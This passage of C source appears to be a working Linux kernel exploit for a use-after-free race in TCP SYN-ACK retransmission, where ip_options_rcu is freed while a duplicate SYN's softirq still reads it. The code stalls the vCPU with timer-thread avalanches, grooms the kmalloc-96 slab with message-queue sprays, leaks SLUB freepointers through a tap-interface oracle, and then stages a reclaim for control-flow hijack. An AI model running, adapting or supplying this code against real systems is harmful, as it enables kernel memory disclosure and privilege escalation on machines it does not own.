sp.sched_priority = prio;
if (sched_setscheduler(0, SCHED_FIFO, &sp) < 0)
perror("SCHED_FIFO");
}
static volatile int dup_us_max;
static void spin_until(long long t_ns)
{
while (now_ns() < t_ns)
;
}
static void sleep_until(long long t_ns)
{
struct timespec ts;
if (t_ns <= now_ns())
return;
ts.tv_sec = (time_t)(t_ns / 1000000000LL);
ts.tv_nsec = (long)(t_ns % 1000000000LL);
clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &ts, NULL);
}
/*
* The reader. A duplicate pure SYN drives tcp_check_req() ->
* inet_rtx_syn_ack() -> tcp_v4_send_synack(), which loads ireq->ireq_opt and
* passes it to ip_build_and_send_pkt(); that softirq is drained inside this
* very sendto(), on this cpu, with hardware interrupts enabled. Any stall of
* this vcpu between the load and the memcpy in ip_options_build() is the race
* window - and the vcpu is stalled a few hundred times a second anyway.
*/
static unsigned char aval_msg[MAX_AVAL * 8];
static int aval_start(int n)
{
pthread_t th;
int i;
if (pipe(aval_fifo) < 0)
return -1;
aval_cpu = cpu_b;
aval_n = n > MAX_AVAL ? MAX_AVAL : n;
if (aval_n < 1)
aval_n = 1;
for (i = 0; i < aval_n; i++) {
if (pthread_create(&th, NULL, aval_thread, NULL) != 0)
return -1;
pthread_detach(th);
}
return aval_n;
}
/* Wait until every thread of the previous round has finished sleeping.
* If it has not, a stale 8-byte deadline would still sit in the pipe and
* one thread would sleep for the wrong round. */
static void aval_settle(unsigned long expect)
{
long long end = now_ns() + 10000000LL;
while (aval_done < expect && now_ns() < end)
;
}
/* Arm all N threads for one absolute CLOCK_MONOTONIC deadline.
* N*8 <= 4096 for N<=512, so the write is atomic (PIPE_BUF). */
static int aval_arm(long long deadline_ns)
{
unsigned long long d = (unsigned long long)deadline_ns;
int i, rc;
aval_settle(aval_armed_total);
for (i = 0; i < aval_n; i++)
memcpy(aval_msg + i * 8, &d, 8);
rc = (int)write(aval_fifo[1], aval_msg, (size_t)aval_n * 8);
if (rc == aval_n * 8)
aval_armed_total += (unsigned long)aval_n;
return rc;
}
static int arm_avalanche(int n, long long t0, long period_ns)
{
struct sigevent sev;
struct itimerspec its;
timer_t t;
int i, ok = 0;
memset(&sev, 0, sizeof(sev));
sev.sigev_notify = SIGEV_SIGNAL;
sev.sigev_signo = SIGRTMIN;
its.it_value.tv_sec = (time_t)(t0 / 1000000000LL);
its.it_value.tv_nsec = (long)(t0 % 1000000000LL);
its.it_interval.tv_sec = (time_t)(period_ns / 1000000000LL);
its.it_interval.tv_nsec = (long)(period_ns % 1000000000LL);
for (i = 0; i < n; i++) {
if (timer_create(CLOCK_MONOTONIC, &sev, &t) < 0)
break;
if (timer_settime(t, TIMER_ABSTIME, &its, NULL) < 0)
break;
ok++;
}
return ok;
}
static void *dup_thread(void *arg)
{
unsigned char pkt[256];
(void)arg;
pin(cpu_b);
prctl(PR_SET_TIMERSLACK, 1UL, 0UL, 0UL, 0UL);
fifo_self(50);
for (;;) {
long long t0, t1, fire;
int d, len;
if (!wait_worker(dup_pipe) || run_stop)
return NULL;
fire = cur_t0; /* absolute send time set by the owner */
sleep_until(fire - 80000);
spin_until(fire);
len = build_tcp(pkt, 0, cur_sport, cur_isn, 0, 0x02);
t0 = now_ns();
dup_t0 = t0;
__sync_synchronize();
dup_done = 1;
raw_send(pkt, len);
t1 = now_ns();
n_dup++;
d = (int)((t1 - t0) / 1000);
if (d > dup_us_max)
dup_us_max = d;
if (d >= 200)
n_longsend++;
}
}
/* ACK/RST are sent by owner_thread() on cpu_c -- see below. */
/* ---------- request pool and the wire oracle ---------- */
#define SPORT_BASE 41000
#define NREC 4096
struct rec {
volatile unsigned int isn;
volatile unsigned int sisn;
volatile int state; /* 0 free, 1 syn sent, 2 ready, 3 raced */
};
static struct rec recs[NREC];
static volatile long n_hit, n_rtx, n_noopt, n_good, n_lost, n_req, n_starve;
static volatile long n_acc, n_recl;
static volatile int oracle_stop;
static int g_pool_slots = 512;
static volatile unsigned int g_next_sport;
/*
* The oracle never needs a kprobe: a retransmitted SYN-ACK for a request whose
* ip_options_rcu was reclaimed carries the reclaim payload instead of the
* echoed timestamp option whose filler is 0x41424344.
*/
static void *creator_thread(void *arg)
{
unsigned char pkt[256];
(void)arg;
pin(cpu_a);
for (;;) {
unsigned int sp;
int len;
if (run_stop)
return NULL;
sp = (g_next_sport + 1) % g_pool_slots;
g_next_sport = sp;
if (recs[sp].state != 0) {
struct timespec ts = { 0, 20000 };
nanosleep(&ts, NULL);
continue;
}
recs[sp].isn = 0x31110000u + sp * 65536u +
(unsigned)(now_ns() & 0xffff);
recs[sp].sisn = 0;
recs[sp].state = 1;
len = build_tcp(pkt, 40, SPORT_BASE + sp, recs[sp].isn, 0, 0x02);
raw_send(pkt, len);
n_req++;
}
}
static void *tap_thread(void *arg)
{
unsigned char buf[4096];
(void)arg;
pin(cpu_d);
for (;;) {
ssize_t n;
const struct iphdr *ip;
const struct tcphdr *th;
int ihl, olen, j, sport, idx, bad = 0;
if (oracle_stop)
return NULL;
{
struct pollfd pfd = { .fd = tap_fd, .events = POLLIN };
if (poll(&pfd, 1, 20) <= 0)
continue;
}
n = read(tap_fd, buf, sizeof(buf));
if (n <= 0)
continue;
if (n < 14 + 40)
continue;
ip = (const struct iphdr *)(buf + 14);
if ((buf[14] >> 4) != 4 || ip->protocol != IPPROTO_TCP)
continue;
ihl = ip->ihl * 4;
if (ihl < 20 || 14 + ihl + 20 > n)
continue;
th = (const struct tcphdr *)(buf + 14 + ihl);
if (ntohs(th->source) != SERVER_PORT || !th->syn || !th->ack)
continue;
sport = ntohs(th->dest);
idx = sport - SPORT_BASE;
if (idx < 0 || idx >= NREC)
continue;
{
unsigned long long m0 = MARKER0;
int p2;
for (p2 = 14 + ihl; p2 + 8 <= n; p2++)
if (memcmp(buf + p2, &m0, 8) == 0) {
int q;
n_hit++;
printf("\n[!!] LEAK HIT sport=%d ihl=%d "
"tot_len=%d n=%zd bytes=", sport,
ip->ihl, ntohs(ip->tot_len), n);
for (q = 14 + ihl;
q < n && q < 14 + ihl + 208; q++)
printf("%02x", buf[q]);
printf("\n");
fflush(stdout);
break;
}
}
if (recs[idx].state == 1 && !recs[idx].sisn) {
recs[idx].sisn = ntohl(th->seq);
recs[idx].state = 2;
continue;
}
/* a retransmit: this is the reader's output */
n_rtx++;
olen = ihl - 20;
if (olen == 0) {
n_noopt++;
recs[idx].state = 4;
continue;
}
if (olen != 40) {
bad = 1;
} else {
const unsigned char *o = buf + 14 + 20;
for (j = 20; j < 40; j++)
if (o[j] != (unsigned char)(0x41 + (j % 4)))
bad = 1;
/* A free victim keeps optlen=40, so the 40-byte copy
* exposes the SLUB freepointer at chunk+48..55, i.e.
* option bytes 16..23 (kmalloc-96 s->offset=48). */
if (bad) {
unsigned long long v;
unsigned long a;
memcpy(&v, o + 16, 8);
a = (unsigned long)v;
if ((a >> 40) == 0xffffffUL ||
(a >> 40) == 0xff1100UL ||
(a >> 48) == 0xffffUL ||
(a >> 56) == 0xffUL) {
g_leak_addr = a;
g_leak_sport = sport;
g_leak_seen = 1;
printf("\n[LEAKADDR] sport=%d addr=%016lx\n",
sport, a);
fflush(stdout);
}
}
}
if (!bad) {
n_good++;
recs[idx].state = 4;
continue;
}
n_hit++;
printf("\n[!!] RECLAIM HIT sport=%d ihl=%d tot_len=%d opts=",
sport, ip->ihl, ntohs(ip->tot_len));
for (j = 0; j < olen && j < 200 && 14 + 20 + j < n; j++)
printf("%02x", buf[14 + 20 + j]);
printf("\n");
fflush(stdout);
recs[idx].state = 4;
}
}
/* ---------- owner: all kmalloc-96 on cpu_c ---------- */
static int push_delta_ns = 4000; /* freeze starts this long after load */
static int settle_us = 2500; /* keep blackhole until reader drops */
static int rst_delta_us = 20; /* RST at ack_delay+20 */
static int reclaim_delta_us = 30; /* reclaim at ack_delay+30 */
static int ack_extra_us = 25; /* ack_delay = rlat + 25 */
static int g_attempts = 200000;
static int g_cb_attempts = 100000;
static volatile long n_child;
/* Allocation-free logging: printf may malloc and pop V from the cpu_c slab
* between the free and the reclaim/staging. */
static void own_log(const char *fmt, ...)
{
char b[256];
va_list ap;
int n;
va_start(ap, fmt);
n = vsnprintf(b, sizeof(b), fmt, ap);
va_end(ap);
if (n > 0) {
size_t len = (size_t)n < sizeof(b) ? (size_t)n : sizeof(b) - 1;
ssize_t w = write(1, b, len);
(void)w;
}
}
static int wait_state(unsigned int sp, int want, long long timeout_us)
{
long long end = now_ns() + timeout_us * 1000;
int spins = 0;
while (recs[sp].state != want) {
if (now_ns() >= end)
return -1;
if ((++spins & 2047) == 0)
sched_yield();
}
return 0;
}
/*
* One attempt. Everything that allocates or frees kmalloc-96 is on cpu_c:
* 1. original SYN with 40 bytes of IP options -> ip_options_rcu on cpu_c
* 2. wait for the first SYN-ACK (tap thread on cpu_d) to learn its ISN
* 3. [cb] blackhole 25.0.0.1/32 + ACK, *before* the duplicate SYN
* 4. arm the one-shot avalanche for fire+rlat+push_delta; wake dup (cpu_b)
* 5. ACK at ack_delay (=rlat+25), RST at ack_delay+20 (free on cpu_c)
* 6. [cb] reclaim_v_msgseg() at ack_delay+30 (SLUB LIFO, same slab)
* 7. [leak] wait for the tap to parse the retransmit (freepointer)
*
* No accept()/drain_accept() anywhere: the RST destroys the child and frees
* inet_opt in softirq on cpu_c. Accepting would add syscalls between the
* free and the reclaim and can push the reclaim past the end of the freeze.
*/
static void drain_accept(void)
{
for (;;) {
struct pollfd pfd = { .fd = listen_fd, .events = POLLIN };
int fd;
if (poll(&pfd, 1, 0) <= 0)
return;
fd = accept(listen_fd, NULL, NULL);
if (fd < 0)
return;
n_acc++;
{
struct linger lg = { 1, 0 };
setsockopt(fd, SOL_SOCKET, SO_LINGER, &lg, sizeof(lg));
}
close(fd);
}
}
static int owner_attempt(int cb, unsigned int sp)
{
unsigned char pkt[256];
int len;
/* No netlink/userspace allocation here: the first kmalloc-96 of the
* attempt must be the cb-SYN's ip_options_rcu, which pops V. The tap
* route was restored at the end of the previous attempt. */
recs[sp].isn = 0x31110000u + sp * 65536u +
(unsigned)(now_ns() & 0xffff);
recs[sp].sisn = 0;
recs[sp].state = 1;
len = build_tcp(pkt, 40, SPORT_BASE + sp, recs[sp].isn, 0, 0x02);
raw_send(pkt, len);
n_req++;
if (wait_state(sp, 2, 10000) < 0) {
n_lost++;
recs[sp].state = 0;
return -1;
}
if (cb) {
/* Force the retransmit SYN-ACK into the blackhole so it is
* dropped in ip_output -> kfree_skb -> skb_release_data
* (R13=shinfo), not tun_net_xmit -> skb_copy_ubufs (R13=0).
* Delete the tap route first: NLM_F_REPLACE alone did not
* displace it. */
nl_route_tap(0);
if (nl_route_lo(1) < 0) {
n_lost++;
recs[sp].state = 0;
return -1;
}
}
cur_sport = SPORT_BASE + sp;
cur_isn = recs[sp].isn;
cur_sisn = recs[sp].sisn;
cur_t0 = now_ns() + (long long)arm_lead_us * 1000;
/* Arm the one-shot hrtimer avalanche BEFORE the dup send: the
* threads must be asleep on cpu_b before the reader enters the
* softirq, otherwise they cannot run and the timers fire too late.
* The deadline is relative to the PLANNED send time (cur_t0). */
if (aval_n > 0)
aval_arm(cur_t0 + (long long)reader_lat_us * 1000 +
push_delta_ns);
recs[sp].state = 3;
dup_done = 0;
__sync_synchronize();
wake_worker(dup_pipe);
{
long long end = now_ns() + 100000000LL;
while (!dup_done && now_ns() < end)
;
}
cur_t0 = dup_t0;
/* reader loads ireq_opt at send_start+rlat; ACK/RST/reclaim are
* relative to the ACTUAL send start so the free lands inside the
* freeze, before the reader's memcpy. */
spin_until(cur_t0 + (long long)(reader_lat_us + 20) * 1000);
len = build_tcp(pkt, 0, cur_sport, cur_isn + 1, cur_sisn + 1, 0x10);
raw_send(pkt, len);
n_ack++;
spin_until(cur_t0 + (long long)(reader_lat_us + 20 + rst_delta_us) * 1000);
len = build_tcp(pkt, 0, cur_sport, cur_isn + 1, cur_sisn + 1, 0x04);
raw_send(pkt, len);
spin_until(cur_t0 + (long long)(reader_lat_us + 20 + rst_delta_us +
reclaim_delta_us) * 1000);
/* Accept+linger-0 close the child here, while the reader is still
* frozen/preempted: inet_sock_destruct() frees inet_opt on cpu_c,
* before the reader's memcpy. The RST above is the fast path; this
* is the reliable one. */
drain_accept();
if (cb) {
if (reclaim_v_msgseg() >= 0)
n_recl++;
} else {
long long end = now_ns() + 5000000LL;
while (!g_leak_seen && recs[sp].state != 4 && now_ns() < end)
sched_yield();
}
n_child++;
if (cb) {
struct timespec ts;
/* Keep the blackhole until the frozen reader has resumed,
* copied 255 bytes and dropped the skb in dst_output. */
ts.tv_sec = 0;
ts.tv_nsec = (long)settle_us * 1000;
nanosleep(&ts, NULL);
nl_route_lo(0);
{
int k;
for (k = 0; k < 3; k++)
if (nl_route_tap(1) == 0)
break;
}
/* Free V only after the route is back; the next cb-SYN's
* ip_options_rcu allocation must be the one that pops it. */
/* Free only the victim chunk (type 1). Types 2 and 3
* stay allocated: they are S+96 and S+192, the adjacent
* chunks the overflow reads through. */
msg_recv_type(q_spray, 1);
}
recs[sp].state = 0;
return 0;
}
static void *owner_thread(void *arg)
{
unsigned int sp = 0;
int i, j;
(void)arg;
pin(cpu_c);
prctl(PR_SET_TIMERSLACK, 1UL, 0UL, 0UL, 0UL);
fifo_self(50);
{
struct timespec ts = { 0, 100000000 };
nanosleep(&ts, NULL);
}
/* ---------------- phase 1: no-spray leak, all on cpu_c ------------ */
for (i = 0; i < g_attempts && !g_leak_seen; i++) {
sp = (sp + 1) % 512;
owner_attempt(0, sp);
if ((i % 2000) == 1999) {
own_log("uaf_own: leak %d/%d req=%ld child=%ld rtx=%ld "
"good=%ld noopt=%ld hit=%ld lost=%ld dupmax=%dus longsend=%ld aval=%lu/%lu LEAKS=%d\n",
i + 1, g_attempts, n_req, n_child, n_rtx, n_good,
n_noopt, n_hit, n_lost, dup_us_max, n_longsend,
aval_done, aval_armed_total, g_leak_seen);
}
}
if (!g_leak_seen) {
own_log("uaf_own: NO LEAK after %d attempts\n", g_attempts);
return NULL;
}
/* Stage immediately on cpu_c, before any other kmalloc-96 allocation
* can pop the just-freed victim (S_leak = F-96, A=F, B=F+96). */
if (msg_stage(g_leak_addr) < 0) {
perror("msg_stage");
return NULL;
}
own_log("uaf_own: LEAK F=%016lx at attempt %d\n", g_leak_addr, i);
g_stage = 1;
/* ---------------- phase 2: cb, V reclaim on cpu_c ----------------- */
for (j = 0; j < g_cb_attempts; j++) {
sp = (sp + 1) % 512;
owner_attempt(1, sp);
if ((j % 1000) == 999) {
own_log("uaf_own: cb %d/%d req=%ld child=%ld acc=%ld "
"recl=%ld ack=%ld rtx=%ld good=%ld lost=%ld dupmax=%dus\n",
j + 1, g_cb_attempts, n_req, n_child, n_acc,
n_recl, n_ack, n_rtx, n_good, n_lost, dup_us_max);
}
}
own_log("uaf_own: DONE no callback after %d\n", g_cb_attempts);
return NULL;
}
int main(int argc, char **argv)
{
int one = 1;
pthread_t th;
cpu_a = argc > 1 ? atoi(argv[1]) : 3; /* legacy, owner uses cpu_c */
cpu_b = argc > 2 ? atoi(argv[2]) : 2; /* reader + avalanche */
cpu_c = argc > 3 ? atoi(argv[3]) : 3; /* owner */
cpu_d = argc > 4 ? atoi(argv[4]) : 4; /* tap / oracle */
ack_extra_us = argc > 5 ? atoi(argv[5]) : 25;
g_attempts = argc > 6 ? atoi(argv[6]) : 200000;
arm_lead_us = argc > 11 ? atoi(argv[11]) : 2000;
n_aval = argc > 13 ? atoi(argv[13]) : 256;
reader_lat_us = argc > 15 ? atoi(argv[15]) : 48;
g_cb_attempts = argc > 16 ? atoi(argv[16]) : 100000;
push_delta_ns = argc > 17 ? atoi(argv[17]) : 4000;
settle_us = argc > 18 ? atoi(argv[18]) : 2500;
rst_delta_us = argc > 19 ? atoi(argv[19]) : 20;
reclaim_delta_us = argc > 20 ? atoi(argv[20]) : 30;
if (ack_extra_us < 1 || ack_extra_us > 200)
ack_extra_us = 25;
ack_delay_us = reader_lat_us + ack_extra_us; /* #231/#232 */
if (pipe(dup_pipe) < 0) {
perror("pipe");
return 1;
}
{
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGRTMIN);
sigprocmask(SIG_BLOCK, &set, NULL);
}
raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (raw_fd < 0 ||
setsockopt(raw_fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
perror("raw socket");
return 1;
}
tap_fd = tap_setup();
lo_ifidx = if_index("lo");
if (tap_fd < 0) {
perror("tap");
return 1;
}
tap_ifidx = if_index("tap0"); /* cached for nl_route_tap() */
listen_fd = listener_start();
if (listen_fd < 0) {
perror("listener");
return 1;
}
if (reclaim_xattr_init() < 0) {
perror("xattr init");
return 1;
}
printf("uaf_own: owner(c)=%d reader(b)=%d tap(d)=%d ack=%dus "
"(rlat=%d+%d) leak=%d cb=%d aval=%d push_delta=%dns "
"settle=%dus rst=%dus reclaim=%dus\n", cpu_c, cpu_b, cpu_d,
ack_delay_us, reader_lat_us, ack_extra_us, g_attempts,
g_cb_attempts, n_aval, push_delta_ns, settle_us, rst_delta_us,
reclaim_delta_us);
fflush(stdout);
pthread_create(&th, NULL, tap_thread, NULL);
pthread_create(&th, NULL, dup_thread, NULL);
if (n_aval > 0) {
int got = aval_start(n_aval);
if (got < 0) {
perror("aval_start");
return 1;
}
printf("uaf_own: %d one-shot avalanche threads on cpu_b\n", got);
fflush(stdout);
}
pthread_create(&th, NULL, owner_thread, NULL);
pthread_join(th, NULL);
if (q_hold >= 0)
msgctl(q_hold, IPC_RMID, NULL);
if (q_spray >= 0)
msgctl(q_spray, IPC_RMID, NULL);
if (q_stub >= 0)
msgctl(q_stub, IPC_RMID, NULL);
return 0;
}